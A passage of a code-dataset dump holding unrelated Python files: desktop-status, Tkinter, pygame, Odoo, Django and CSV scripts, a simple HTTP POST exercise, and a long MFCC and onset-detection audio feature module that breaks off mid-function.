min.\"\n\n else:\n uptime = uptime.replace(\":\",\"h\")\n\n return '{0}{1}'.format(text,uptime)\n\n return '{0}{1}'.format(text,uptime)\n\n# Programme =============================================================#\n\nif __name__ == \"__main__\":\n prefix = ''.format(COLORS[\"clear-blue\"])\n if prefix: prefix += \" \"\n\n up = uptime(prefix)\n\n if up:\n print (up)\n else:\n print (\"\")\n\n sys.exit(0)\n\n# vim:set shiftwidth=4 softtabstop=4:\n\n","sub_path":"Window_Managers/i3/.config/i3/status/i3blocks/uptime.py","file_name":"uptime.py","file_ext":"py","file_size_in_byte":1887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"163185644","text":"#!/usr/bin/python3\n\"\"\"Python script that takes in a URL and an email,\\\n sends a POST request to the passed URL with the email as a parameter,\\\n and displays the body of the response (decoded in utf-8)\n\"\"\"\n\n\nimport requests\nfrom sys import argv\n\nif __name__ == '__main__':\n url = argv[1]\n mail_adress = {\"email\": argv[2]}\n data = requests.post(url, data=mail_adress)\n print(data.text)\n","sub_path":"0x11-python-network_1/6-post_email.py","file_name":"6-post_email.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"47838237","text":"from Tkinter import * #need to capitalize Tkinter to import\n\nroot = Tk() #sets up a window called root\ntop_frame = Frame(root) #makes a container in the main window 'root'\ntop_frame.pack()\n\n\n\nbottom_frame = Frame(root)\nbottom_frame.pack(side=BOTTOM) #packs the frame on the bottom\n\nbutton_1 = Button(top_frame, text=\"Button 1\", fg=\"RED\") #for some reason, fg doesn't work\nbutton_2 = Button(top_frame, text=\"Button 2\", fg=\"blue\")\nbutton_3 = Button(top_frame, text=\"Button 3\", fg=\"green\")\nbutton_4 = Button(bottom_frame, text=\"Button 4\", fg=\"purple\")\n\nbutton_1.pack(side=LEFT)\nbutton_2.pack(side=LEFT)\nbutton_3.pack(side=LEFT)\nbutton_4.pack(side=LEFT)\n\n\n'''\nThis is all stuff that I have used but no longer need.\nlabel = Label(root,text=\"This is a label\") #text is labels\nlabel.pack() #packs in the label wherever it fits\n'''\n\nroot.mainloop() #runs the root","sub_path":"Documents/window.py","file_name":"window.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"291233","text":"from ..scheme_fdm_mixin import SchemeFDMMixin\n\nclass UpwindSchemeFDMMixin(SchemeFDMMixin):\n\n @staticmethod\n def elements(N: int, L: int, i: int):\n\n if i < L - N:\n l = 0\n ini = i\n fini = i + N +1\n else:\n l = -(L - i)\n ini = -(N + 1)\n fini = L\n\n return l, ini, fini\n","sub_path":"methods/fdm/schemes/upwind/upwind_scheme_fdm_mixin.py","file_name":"upwind_scheme_fdm_mixin.py","file_ext":"py","file_size_in_byte":357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"144281031","text":"import pygame\r\nimport pygame.freetype\r\nimport random\r\n\r\npygame.init()\r\nDS = pygame.display.set_mode((600,600))\r\ndone = False\r\n\r\nwhile not done:\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n done = True\r\n\r\n pygame.display.flip()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"quiz.py","file_name":"quiz.py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"375908068","text":"from odoo import models, fields, api, _\n\n\nclass SaleOrderLine(models.Model):\n ## 01private: Private attributes\n _name = 'sale.order.line'\n _inherit = ['sale.order.line', 'visit.meta']\n\n ## 02defaults: Default methods\n\n ## 03fields: Fields declaration\n is_visit = fields.Boolean(\n related=\"product_id.is_visit\",\n )\n\n standard_price = fields.Float(\n related=\"product_id.standard_price\",\n )\n\n display_costs = fields.Boolean(\n related=\"order_id.display_costs\"\n )\n\n ## 04compute: Compute, search, inverse field methods, in the order of field declaration\n\n ## 05onchange: Onchange and constraints methods, declarations\n @api.multi\n @api.onchange('product_id')\n def product_id_change(self):\n res = super(SaleOrderLine, self).product_id_change()\n # always update recurrence metadata when setting new product_id\n # this should happen before the order qty calc\n self.visit_type = self.product_id.visit_type\n self.visit_recurrence_interval = self.product_id.visit_recurrence_interval\n self.visit_recurrence_frequency = self.product_id.visit_recurrence_frequency\n self.visit_recurrence_count = self.product_id.visit_recurrence_count\n self.task_expected_duration = self.product_id.task_expected_duration\n self.visit_employee_slot_ids = [(6, 0, self.product_id.visit_employee_slot_ids.ids)]\n if self.product_id.service_policy != 'ordered_timesheet' and self.product_id.is_visit:\n self.product_uom_qty = self.visit_recurrence_count * self.task_expected_duration\n elif self.product_id.service_policy == 'ordered_timesheet' and self.product_id.is_visit:\n # explicitly write to 1, overriding the per visit\n self.product_uom_qty = 1.0\n else:\n # don't alter ordered qty unless is_visit\n if not self.product_uom_qty:\n self.product_uom_qty = 1.0\n\n return res\n\n @api.multi\n @api.onchange('visit_recurrence_count', 'task_expected_duration', 'product_id')\n def _onchange_order_qty_factors(self):\n if self._should_calculate_order_qty(\n self.product_id,\n self.product_id.is_visit,\n ):\n if self.product_id.uom_id == self.env.ref('xrma_visits_scheduling.product_uom_visit'):\n self.product_uom_qty = self.visit_recurrence_count\n elif self.product_id.uom_id == self.env.ref('product.product_uom_hour'):\n self.product_uom_qty = self.visit_recurrence_count * self.task_expected_duration\n else:\n # do nothing if not hour or visit\n pass\n\n ## 06crud: CRUD methods, ORM overrides\n @api.model\n def create(self, vals):\n seq = self.env['ir.sequence'].next_by_code('so.line.sequence')\n vals.setdefault('sequence', seq)\n return super(SaleOrderLine, self).create(vals)\n\n ## 07action: Action methods\n ## 08other: Other business methods\n def _should_calculate_order_qty(self, product_id, is_visit):\n return bool(product_id) and is_visit\n\n def _timesheet_create_task_prepare_values(self):\n \"\"\"Override this to inject our new needs.\n\n \"\"\"\n vals = super(SaleOrderLine, self)._timesheet_create_task_prepare_values()\n project = self.env['project.project'].browse(vals['project_id'])\n vals.update({\n 'name': self.product_id.name,\n 'color': self.visit_type.color,\n 'task_expected_duration': self.task_expected_duration,\n 'visit_employee_slot_ids': [(6, 0, self.visit_employee_slot_ids.ids)],\n 'visit_recurrence_frequency': self.visit_recurrence_frequency,\n 'visit_recurrence_interval': self.visit_recurrence_interval,\n 'visit_recurrence_count': self.visit_recurrence_count,\n 'visit_recurrence_start_datetime': project._get_next_bod(),\n 'planned_hours': self.total_est_man_hours,\n 'stage_id': self.env.ref('xrma_visits_scheduling.task_stage_visit_new').id,\n })\n return vals\n\n def _timesheet_find_project(self):\n project = super(SaleOrderLine, self)._timesheet_find_project()\n visit_start = project._get_next_bod()\n if self.product_id.is_visit and not project.project_visit_manager_id:\n visit_manager = self.env['project.visit.manager'].create({\n 'project_id': project.id,\n })\n\n # add the default stage to the project\n stage_new = self.env.ref('xrma_visits_scheduling.task_stage_visit_new')\n stage_new.write({'project_ids': [(4, project.id)]})\n\n if self.order_id.land_id:\n project.write({\n 'land_id': self.order_id.land_id.id,\n })\n\n project.write({\n 'project_visit_manager_id': visit_manager.id,\n })\n\n return project\n\n","sub_path":"xrma_visits_scheduling/models/sale_order_line.py","file_name":"sale_order_line.py","file_ext":"py","file_size_in_byte":4938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"289364796","text":"from django.urls import path\nfrom . import views\nfrom django.contrib.auth import views as auth_views\n\napp_name = 'accounts'\n\nurlpatterns = [\n #サインアップページのビューの呼び出し\n #「http(s)://<ホスト名>/signup/」へのアクセスに対して、\n #viewsモジュールのSignUpViewをインスタンス化する\n path('signup/', views.SignUpView.as_view(), name='signup'),\n path('signup_success/', views.SignUpSuccessView.as_view(), name='signup_success'),\n\n #ログインページの表示\n # 「http(s)://<ホスト名>/login/」へのアクセスに対して、\n # django,contrib.auth.views.LoginViewをインスタンス化して、ログインページを表示する\n path('login/', auth_views.LoginView.as_view(template_name='login.html'), name='login'),\n\n #ログアウトを実行\n # 「http(s)://<ホスト名>/login/」へのアクセスに対して、\n # django,contrib.auth.views.LoginViewをインスタンス化して、ログアウトさせる。\n path('logout/', auth_views.LogoutView.as_view(template_name='logout.html'), name='logout'),\n]","sub_path":"accounts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"207497703","text":"import csv\nimport os\nimport re\n\nIMAGE_DIR = 'static/images/'\n\ndef extract_images(x):\n name = re.search(re.compile('\\d+'), x).group(0)\n affiliation = re.search(re.compile('^\\w'), x).group(0)\n return (name, {'affiliation': affiliation, 'path': IMAGE_DIR + x})\n\nfiles = os.listdir(IMAGE_DIR)\ninterim = [extract_images(x) for x in files]\nfinal_data = {k: v for (k,v) in interim}\n\nwith open('../get_ira_fb_ads/site/index.csv', 'r') as csvfile:\n reader = csv.DictReader(csvfile)\n for row in reader:\n if row['id'] in final_data.keys():\n print(row['image'])\n final_data[row['id']]['text'] = row['description']\n final_data[row['id']]['poster'] = ''\n \n \n\nwith open('./images_table.csv', 'w') as f:\n fieldnames = ['path', 'text', 'poster', 'affiliation']\n writer = csv.DictWriter(f, fieldnames=fieldnames)\n for name, data in final_data.items():\n writer.writerow(data)","sub_path":"build_images_csv.py","file_name":"build_images_csv.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"359343375","text":"\"\"\"\nfeature extraction tools\n\"\"\"\n\nimport numpy as np\nimport librosa\nimport scipy\n\nfrom skimage.util.shape import view_as_windows\n\n\nclass FeatureExtractor():\n \"\"\"\n feature extractor class with MFCC features\n \"\"\"\n\n def __init__(self, fs, N=400, hop=160, n_filter_bands=32, n_ceps_coeff=12, frame_size=32):\n\n # vars\n self.fs = fs\n self.N = N\n self.hop = hop\n self.n_filter_bands = n_filter_bands\n self.n_ceps_coeff = n_ceps_coeff\n self.frame_size = frame_size\n\n # calculate weights\n self.w_f, _, _, _ = mel_band_weights(self.n_filter_bands, fs, N//2+1)\n\n\n def extract_mfcc39(self, x):\n \"\"\"\n extract mfcc features fast\n \"\"\"\n\n # pre processing\n x_pre = pre_processing(x)\n\n # stft\n X = 2 / self.N * librosa.stft(x_pre, n_fft=self.N, hop_length=self.hop, win_length=self.N, window='hann', center=False).T\n\n # energy of fft (one-sided)\n E = np.power(np.abs(X), 2)\n\n # sum the weighted energies\n u = np.inner(E, self.w_f)\n\n # mfcc\n mfcc = scipy.fftpack.dct(np.log(u), type=2, n=self.n_filter_bands, axis=1, norm=None, overwrite_x=False).T[:self.n_ceps_coeff]\n\n # compute deltas [feature x frames]\n deltas = compute_deltas(mfcc)\n\n # compute double deltas [feature x frames]\n double_deltas = compute_deltas(deltas)\n\n # compute energies [1 x frames]\n e_mfcc = np.vstack((\n np.sum(mfcc**2, axis=0) / np.max(np.sum(mfcc**2, axis=0)), \n np.sum(deltas**2, axis=0) / np.max(np.sum(deltas**2, axis=0)), \n np.sum(double_deltas**2, axis=0) / np.max(np.sum(double_deltas**2, axis=0))\n ))\n\n # stack and get best onset\n mfcc_all = np.vstack((mfcc, deltas, double_deltas, e_mfcc))\n\n # find best onset\n _, bon_pos = find_min_energy_region(mfcc_all, self.fs, self.hop)\n\n # return best onset\n return mfcc_all[:, bon_pos:bon_pos+self.frame_size], bon_pos\n\n\n def extract_mfcc39_slow(self, x):\n \"\"\"\n extract mfcc features, slow implementation of my own - not used anymore\n \"\"\"\n\n # pre processing\n x_pre = pre_processing(x)\n\n # stft\n X = custom_stft(x_pre, self.N, self.hop)\n\n # energy of fft (one-sided)\n E = np.power(np.abs(X[:, :self.N//2+1]), 2)\n\n # sum the weighted energies\n u = np.inner(E, self.w_f)\n\n # mfcc\n mfcc = (custom_dct(np.log(u), self.n_filter_bands).T)[:self.n_ceps_coeff]\n\n # compute deltas [feature x frames]\n deltas = compute_deltas(mfcc)\n\n # compute double deltas [feature x frames]\n double_deltas = compute_deltas(deltas)\n\n # compute energies [1 x frames]\n e_mfcc = np.vstack((\n np.sum(mfcc**2, axis=0) / np.max(np.sum(mfcc**2, axis=0)), \n np.sum(deltas**2, axis=0) / np.max(np.sum(deltas**2, axis=0)), \n np.sum(double_deltas**2, axis=0) / np.max(np.sum(double_deltas**2, axis=0))\n ))\n\n # stack and get best onset\n mfcc_all = np.vstack((mfcc, deltas, double_deltas, e_mfcc))\n\n # find best onset\n _, bon_pos = find_min_energy_region(mfcc_all, self.fs, self.hop)\n\n # return best onset\n return mfcc_all[:, bon_pos:bon_pos+self.frame_size], bon_pos\n\n\n\ndef find_min_energy_region(mfcc, fs, hop, frame_size=32, randomize=False, rand_frame=5):\n \"\"\"\n find frame with least amount of energy\n \"\"\"\n\n # windowed [r x m x f]\n x_win = np.squeeze(view_as_windows(mfcc[36, :], frame_size, step=1))\n\n # best onset position\n bon_pos = np.argmin(np.sum(x_win, axis=1))\n\n # randomize a bit\n if randomize:\n bon_pos += np.random.randint(-rand_frame, rand_frame)\n if bon_pos > x_win.shape[0]-1:\n bon_pos = x_win.shape[0]-1\n elif bon_pos < 0:\n bon_pos = 0\n\n return frames_to_time(bon_pos, fs, hop), bon_pos\n\n\ndef find_min_energy_time(mfcc, fs, hop):\n \"\"\"\n find min energy time position\n \"\"\"\n\n return frames_to_time(np.argmin(mfcc[36, :]), fs, hop)\n\n\ndef find_best_onset(onsets, frame_size=32, pre_frames=1):\n \"\"\"\n find the best onset with highest propability of spoken word\n \"\"\"\n\n # init\n best_onset, bon_pos = np.zeros(onsets.shape), 0\n\n # determine onset positions\n onset_pos = np.squeeze(np.argwhere(onsets))\n\n # single onset handling\n if int(np.sum(onsets)) == 1:\n\n #return onsets, int(np.where(onsets == 1)[0][0])\n best_onset = onsets\n bon_pos = onset_pos\n\n # multiple onsets handling\n else: \n\n # windowing\n o_win = view_as_windows(np.pad(onsets, (0, frame_size-1)), window_shape=(frame_size), step=1)[onset_pos, :]\n\n # get index of best onset\n x_max = np.argmax(np.sum(o_win, axis=1))\n\n # set single best onset\n bon_pos = onset_pos[x_max]\n best_onset[bon_pos] = 1\n\n # pre frames before real onset\n if bon_pos - pre_frames > 0:\n best_onset = np.roll(best_onset, -pre_frames)\n\n # best onset on right egde, do roll\n if bon_pos - pre_frames >= (onsets.shape[0] - frame_size):\n r = frame_size - (onsets.shape[0] - (bon_pos - pre_frames)) + 1\n best_onset = np.roll(best_onset, -r)\n\n #print(\"best_onset: \", best_onset)\n #print(\"pos: \", int(np.where(best_onset == 1)[0][0]))\n\n return best_onset, int(np.where(best_onset == 1)[0][0])\n\n\ndef onset_energy_level(x, alpha=0.01):\n \"\"\"\n onset detection with energy level\n x: [n x c]\n n: samples\n c: channels\n \"\"\"\n\n e = x.T @ x / len(x)\n\n return e, e > alpha\n\n\ndef frames_to_time(x, fs, hop):\n \"\"\"\n transfer from frame space into time space (choose beginning of frame)\n \"\"\"\n\n return x * hop / fs\n\n\ndef frames_to_sample(x, fs, hop):\n \"\"\"\n frame to sample space\n \"\"\"\n\n return x * hop\n\n\ndef pre_processing(x):\n \"\"\"\n actual preprocessing with dithering and normalization\n \"\"\"\n \n import librosa\n\n # make a copy\n x = x.copy()\n\n # dither\n x = add_dither(x)\n\n # normalize input signal with infinity norm\n x = librosa.util.normalize(x)\n\n return x\n\n\ndef compute_deltas(x):\n \"\"\"\n compute deltas for mfcc [feature x frames]\n \"\"\"\n\n # init\n d = np.zeros(x.shape)\n \n # zero-padding\n x_pad = np.pad(x, ((0, 0), (1, 1)))\n\n # for all time frames\n for t in range(x.shape[1]):\n \n # calculate diff\n d[:, t] = (x_pad[:, t+2] - x_pad[:, t]) / 2\n\n # clean first and last entry\n d[:, -1] = d[:, -2]\n d[:, 0] = d[:, 1]\n\n return d\n\n\ndef calc_mfcc39(x, fs, N=400, hop=160, n_filter_bands=32, n_ceps_coeff=12, use_librosa=False):\n \"\"\"\n calculate mel-frequency 39 feature vector\n \"\"\"\n\n # get mfcc coeffs [feature x frames]\n if use_librosa:\n import librosa\n mfcc = librosa.feature.mfcc(x, fs, S=None, n_mfcc=n_filter_bands, dct_type=2, norm='ortho', lifter=0, n_fft=N, hop_length=hop, center=False)[:n_ceps_coeff]\n\n else:\n mfcc = calc_mfcc(x, fs, N, hop, n_filter_bands)[:n_ceps_coeff]\n \n # compute deltas [feature x frames]\n deltas = compute_deltas(mfcc)\n\n # compute double deltas [feature x frames]\n double_deltas = compute_deltas(deltas)\n\n # compute energies [1 x frames]\n e_mfcc = np.vstack((\n np.sum(mfcc**2, axis=0) / np.max(np.sum(mfcc**2, axis=0)), \n np.sum(deltas**2, axis=0) / np.max(np.sum(deltas**2, axis=0)), \n np.sum(double_deltas**2, axis=0) / np.max(np.sum(double_deltas**2, axis=0))\n ))\n\n return np.vstack((mfcc, deltas, double_deltas, e_mfcc))\n\n\ndef calc_mfcc(x, fs, N=1024, hop=512, n_filter_bands=8):\n \"\"\"\n mel-frequency cepstral coefficient\n \"\"\"\n\n # stft\n X = custom_stft(x, N, hop)\n\n # weights\n w_f, w_mel, _, _ = mel_band_weights(n_filter_bands, fs, N//2)\n\n # energy of fft (one-sided)\n E = np.power(np.abs(X[:, :N//2]), 2)\n\n # sum the weighted energies\n u = np.inner(E, w_f)\n\n # discrete cosine transform of log\n return custom_dct(np.log(u), n_filter_bands).T\n\n\ndef custom_dct(x, N):\n \"\"\"\n discrete cosine transform\n \"\"\"\n \n # transformation matrix\n H = np.cos(np.pi / N * np.outer((np.arange(N) + 0.5), np.arange(N)))\n\n # transformed signal\n return np.dot(x, H)\n\n\ndef mel_to_f(m):\n \"\"\"\n mel to frequency\n \"\"\"\n return 700 * (np.power(10, m / 2595) - 1)\n\n\ndef f_to_mel(f):\n \"\"\"\n frequency to mel \n \"\"\"\n return 2595 * np.log10(1 + f / 700)\n\n\ndef triangle(M, N, same=True):\n \"\"\"\n create a triangle\n \"\"\"\n\n # ensure int\n M = int(M)\n N = int(N)\n\n # triangle\n tri = np.concatenate((np.linspace(0, 1, M), np.linspace(1 - 1 / N, 0, N - 1)))\n\n # same amount of samples in M and N space -> use zero padding\n if same:\n\n # zeros to append\n k = M - N\n\n # zeros at beginning\n if k < 0:\n return np.pad(tri, (int(np.abs(k)), 0))\n\n # zeros at end\n else:\n return np.pad(tri, (0, int(np.abs(k))))\n\n return tri\n\n\ndef mel_band_weights(n_bands, fs, N=1024):\n \"\"\"\n mel_band_weights create a weight matrix of triangular Mel band weights for a filter bank.\n This is used to compute MFCC.\n \"\"\"\n\n # hop of samples\n hop = (N - 1) / (n_bands + 1)\n\n # the scales\n mel_scale = np.linspace(0, f_to_mel(fs / 2), N)\n f_scale = mel_to_f(mel_scale)\n\n # calculating middle point of triangle\n mel_samples = np.arange(hop, N + n_bands, hop) - 1\n f_samples = np.round(mel_to_f(mel_samples / N * f_to_mel(fs / 2)) * N / (fs / 2))\n\n # round mel samples too\n mel_samples = np.round(mel_samples)\n\n # last entry, account for rounding errors\n mel_samples[-1] = N - 1\n f_samples[-1] = N - 1\n\n # diff\n hop_m = np.insert(np.diff(mel_samples), 0, mel_samples[0])\n hop_f = np.insert(np.diff(f_samples), 0, f_samples[0])\n\n # weight init\n w_mel = np.zeros((n_bands, N))\n w_f = np.zeros((n_bands, N))\n\n for mi in range(n_bands):\n\n # for equidistant mel scale\n w_mel[mi][int(mel_samples[mi])] = 1\n w_mel[mi] = np.convolve(w_mel[mi, :], triangle(hop_m[mi]+1, hop_m[mi+1]+1), mode='same')\n\n # for frequency scale\n w_f[mi, int(f_samples[mi])] = 1\n w_f[mi] = np.convolve(w_f[mi], triangle(hop_f[mi]+1, hop_f[mi+1]+1), mode='same')\n\n return (w_f, w_mel, f_scale, mel_scale)\n\n\ndef calc_onsets(x, fs, N=1024, hop=512, adapt_frames=5, adapt_alpha=0.1, adapt_beta=1):\n \"\"\"\n calculate onsets with complex domain and adapt thresh\n \"\"\"\n\n # stft\n X = custom_stft(x, N=N, hop=hop, norm=True)\n\n # complex domain\n c = complex_domain_onset(X, N)\n\n # adaptive threshold\n thresh = adaptive_threshold(c, H=adapt_frames, alpha=adapt_alpha, beta=adapt_beta)\n\n # get onsets from measure and threshold\n onsets = thresholding_onset(c, thresh)\n\n return onsets\n\n\ndef onsets_to_onset_times(onsets, fs, N, hop):\n \"\"\"\n use onset vector [0, 0, 1, 0, 0, ...] and \n create time vector [0.25, ...]\n \"\"\"\n\n onset_times = (onsets * np.arange(0, len(onsets)) * hop + N / 2) / fs \n return onset_times[onset_times > N / 2 / fs]\n\n\ndef thresholding_onset(x, thresh):\n \"\"\"\n thresholding for onset events\n params: \n x - input sequence\n thresh - threshold vector\n \"\"\"\n\n # init\n onset = np.zeros(len(x))\n\n # set to one if over threshold\n onset[x > thresh] = 1\n\n # get only single onset -> attention edge problems\n onset = onset - np.logical_and(onset, np.roll(onset, 1))\n\n return onset\n\n\ndef adaptive_threshold(g, H=10, alpha=0.05, beta=1):\n \"\"\"\n adaptive threshold with sliding window\n \"\"\"\n\n # threshold\n thresh = np.zeros(len(g))\n\n # sliding window\n for i in np.arange(H//2, len(g) - H//2):\n\n # median thresh\n thresh[i] = np.median(g[i - H//2 : i + H//2])\n\n # linear mapping\n thresh = alpha * np.max(thresh) + beta * thresh\n\n return thresh\n\n\ndef complex_domain_onset(X, N):\n \"\"\"\n complex domain approach for onset detection\n params:\n X - fft\n N - window size\n \"\"\"\n\n # calculate phase deviation\n d = phase_deviation(X, N)\n\n # ampl target\n R = np.abs(X[:, 0:N//2])\n\n # ampl prediction\n R_h = np.roll(R, 1, axis=0)\n\n # complex measure\n gamma = np.sqrt(np.power(R_h, 2) + np.power(R, 2) - 2 * R_h * R * np.cos(d))\n\n # clean up first two indices\n gamma[0] = np.zeros(gamma.shape[1])\n\n # sum all frequency bins\n eta = np.sum(gamma, axis=1)\n\n return eta\n\n\ndef phase_deviation(X, N):\n \"\"\"\n phase_deviation of STFT\n \"\"\"\n\n # get unwrapped phase\n phi0 = np.unwrap(np.angle(X[:, 0:N//2]))\n phi1 = np.roll(phi0, 1, axis=0)\n phi2 = np.roll(phi0, 2, axis=0)\n\n # calculate phase derivation\n d = princarg(phi0 - 2 * phi1 + phi2)\n\n # clean up first two indices\n d[0:2] = np.zeros(d.shape[1])\n\n return d\n\n\ndef princarg(p):\n \"\"\"\n principle argument\n \"\"\"\n\n return np.mod(p + np.pi, -2 * np.pi) + np.pi\n\n\ndef custom_stft(x, N=1024, hop=512, norm=True):\n \"\"\"\n short time fourier transform\n \"\"\"\n \n # windowing\n w = np.hanning(N)\n\n # apply windows\n x_buff = np.multiply(w, create_frames(x, N, hop))\n\n # transformation matrix\n H = np.exp(1j * 2 * np.pi / N * np.outer(np.arange(N), np.arange(N)))\n\n # normalize if asked\n if norm:\n return 2 / N * np.dot(x_buff, H)\n\n # transformed signal\n return np.dot(x_buff, H)\n\n\ndef create_frames(x, N, hop):\n \"\"\"\n create_frames from input \n \"\"\"\n\n # number of samples in window\n N = int(N)\n\n # number of windows\n win_num = (len(x) - N) // hop + 1 \n\n # remaining samples\n r = int(np.remainder(len(x), hop))\n if r:\n win_num += 1;\n\n # segments\n windows = np.zeros((win_num, N))\n\n # segmentation\n for wi in range(0, win_num):\n\n # remainder\n if wi == win_num - 1 and r:\n windows[wi] = np.concatenate((x[wi * hop :], np.zeros(N - len(x[wi * hop :]))))\n\n # add differ\n #windows[wi] = add_dither(windows[wi])\n\n # no remainder\n else:\n windows[wi] = x[wi * hop : (wi * hop) + N]\n\n return windows\n\n\ndef add_dither(x):\n \"\"\"\n add a dither signal\n \"\"\"\n\n # determine abs min value except from zero, for dithering\n try:\n min_val = np.min(np.abs(x[np.abs(x)>0]))\n except:\n print(\"only zeros in this signal\")\n min_val = 1e-4\n\n # add some dither\n x += np.random.normal(0, 0.5, len(x)) * min_val\n\n return x\n\n\ndef some_test_signal(fs, t=1, f=500, sig_type='modulated', save_to_file=False):\n \"\"\"\n test signal adapted from https://docs.scipy.org/doc/scipy/reference/generated/scipy.signal.stft.html\n \"\"\"\n\n # samples\n samples = np.linspace(0, t, int(fs * t), endpoint=False)\n\n # modulated signal\n if sig_type == 'modulated':\n\n # amplitude and noise power\n amp = 2 * np.sqrt(2)\n noise_power = 0.01 * fs / 2\n\n # modulated signal\n mod = 500 * np.cos(2 * np.pi * 0.25 * samples)\n carrier = amp * np.sin(2 * np.pi * f * samples + mod)\n\n # noise\n noise = np.random.normal(scale=np.sqrt(noise_power), size=samples.shape)\n noise *= np.exp(-samples / 5)\n\n # synthesize signal\n x = carrier + noise\n\n # pure sine\n elif sig_type == 'sine':\n\n # create sine\n x = signal = np.sin(2 * np.pi * f * samples)\n\n # use random\n else:\n x = np.random.randn(int(fs * t))\n\n # save file\n if save_to_file:\n soundfile.write('./ignore/features/test.wav', x, fs, subtype=None, endian=None, format=None, closefd=True)\n\n return x\n\n\ndef test_some_stfts(x, fs, N, hop):\n \"\"\"\n test some stft functions, plot from librosa website\n \"\"\"\n\n stft_cus = custom_stft(x, N=N, hop=hop, norm=True)[:, :N//2]\n stft_lib = 2 / N * librosa.stft(x, n_fft=N, hop_length=hop, win_length=N, window='hann', center=False, dtype=None, pad_mode='reflect')[:N//2]\n f, t, stft_sci = scipy.signal.stft(x, fs=1.0, window='hann', nperseg=N, noverlap=N-hop, nfft=N, detrend=False, return_onesided=True, boundary='zeros', padded=False, axis=- 1)\n\n print(\"cus_stft: \", stft_cus.shape)\n print(\"lib_stft: \", stft_lib.shape)\n print(\"sci_stft: \", stft_sci.shape)\n\n # plot\n fig, ax = plt.subplots()\n img = librosa.display.specshow(librosa.amplitude_to_db(stft_cus.T, ref=np.max), sr=fs, hop_length=hop, y_axis='log', x_axis='time', ax=ax)\n ax.set_title('Power spectrogram cus')\n fig.colorbar(img, ax=ax, format=\"%+2.0f dB\")\n\n fig, ax = plt.subplots()\n img = librosa.display.specshow(librosa.amplitude_to_db(stft_lib, ref=np.max), sr=fs, hop_length=hop, y_axis='log', x_axis='time', ax=ax)\n ax.set_title('Power spectrogram')\n fig.colorbar(img, ax=ax, format=\"%+2.0f dB\")\n\n fig, ax = plt.subplots()\n img = librosa.display.specshow(librosa.amplitude_to_db(stft_sci, ref=np.max), sr=fs, hop_length=hop, y_axis='log', x_axis='time', ax=ax)\n ax.set_title('Power spectrogram')\n fig.colorbar(img, ax=ax, format=\"%+2.0f dB\")\n\n plt.show()\n\n\ndef test_some_dcts(u, n_filter_bands, n_ceps_coeff):\n \"\"\"\n test some dct functions, plot from librosa website\n \"\"\"\n\n # test dct functions\n mfcc_custom = custom_dct(np.log(u), n_filter_bands).T[:n_ceps_coeff]\n mfcc_sci = scipy.fftpack.dct(np.log(u), type=2, n=n_filter_bands, axis=1, norm=None, overwrite_x=False).T[:n_ceps_coeff]\n\n print(\"mfcc_custom: \", mfcc_custom.shape)\n print(\"mfcc_sci: \", mfcc_sci.shape)\n\n plt.figure()\n librosa.display.specshow(mfcc_custom, x_axis='linear')\n plt.ylabel('DCT function')\n plt.title('DCT filter bank')\n plt.colorbar()\n plt.tight_layout()\n\n plt.figure()\n librosa.display.specshow(mfcc_sci, x_axis='linear')\n plt.ylabel('DCT function')\n plt.title('DCT filter bank')\n plt.colorbar()\n plt.tight_layout()\n plt.show()\n\n\ndef test_some_mfccs(x, fs, N, hop, n_filter_bands, n_ceps_coeff):\n \"\"\"\n test some mfcc functions, plot from: https://librosa.org/doc/main/generated/librosa.feature.mfcc.html\n \"\"\"\n\n mfcc_cus = calc_mfcc39(x, fs, N=N, hop=hop, n_filter_bands=n_filter_bands, n_ceps_coeff=n_ceps_coeff, use_librosa=False)\n mfcc_lib = calc_mfcc39(x, fs, N=N, hop=hop, n_filter_bands=n_filter_bands, n_ceps_coeff=n_ceps_coeff, use_librosa=True)\n\n print(\"mfcc_cus\", mfcc_cus.shape)\n print(\"mfcc_lib\", mfcc_lib.shape)\n\n fig, ax = plt.subplots()\n img = librosa.display.specshow(mfcc_cus, x_axis='time', ax=ax)\n fig.colorbar(img, ax=ax)\n ax.set(title='MFCC_cus')\n\n fig, ax = plt.subplots()\n img = librosa.display.specshow(mfcc_lib, x_axis='time', ax=ax)\n fig.colorbar(img, ax=ax)\n ax.set(title='MFCC_lib')\n\n plt.show()\n\n\ndef time_measurements(x, u, fs, N, hop, n_filter_bands, n_ceps_coeff):\n \"\"\"\n time measurements\n \"\"\"\n\n # create feature extractor\n feature_extractor = FeatureExtractor(fs, N=N, hop=hop, n_filter_bands=n_filter_bands, n_ceps_coeff=n_ceps_coeff, frame_size=32)\n\n # n measurements\n delta_time_list = []\n\n for i in range(100):\n\n # measure extraction time - start\n start_time = time.time()\n\n # time: 0.030081419944763182\n #y = calc_mfcc39(x, fs, N=400, hop=160, n_filter_bands=32, n_ceps_coeff=12, use_librosa=False)\n \n # time: 0.009309711456298829\n #y = calc_mfcc39(x, fs, N=400, hop=160, n_filter_bands=32, n_ceps_coeff=12, use_librosa=True)\n\n # time: 0.00014737367630004883\n #y = (custom_dct(np.log(u), n_filter_bands).T)\n\n # time: 6.929159164428711e-05\n #y = scipy.fftpack.dct(np.log(u), type=2, n=n_filter_bands, axis=1, norm=None, overwrite_x=False).T\n\n # time: 0.00418839693069458 *** winner\n y, _ = feature_extractor.extract_mfcc39(x)\n \n # time: 0.015525884628295898\n #y, _ = feature_extractor.extract_mfcc39_slow(x)\n\n # time: 0.011266257762908936s\n #y = custom_stft(x, N=N, hop=hop, norm=True)\n\n # time: 0.0005800390243530274s\n 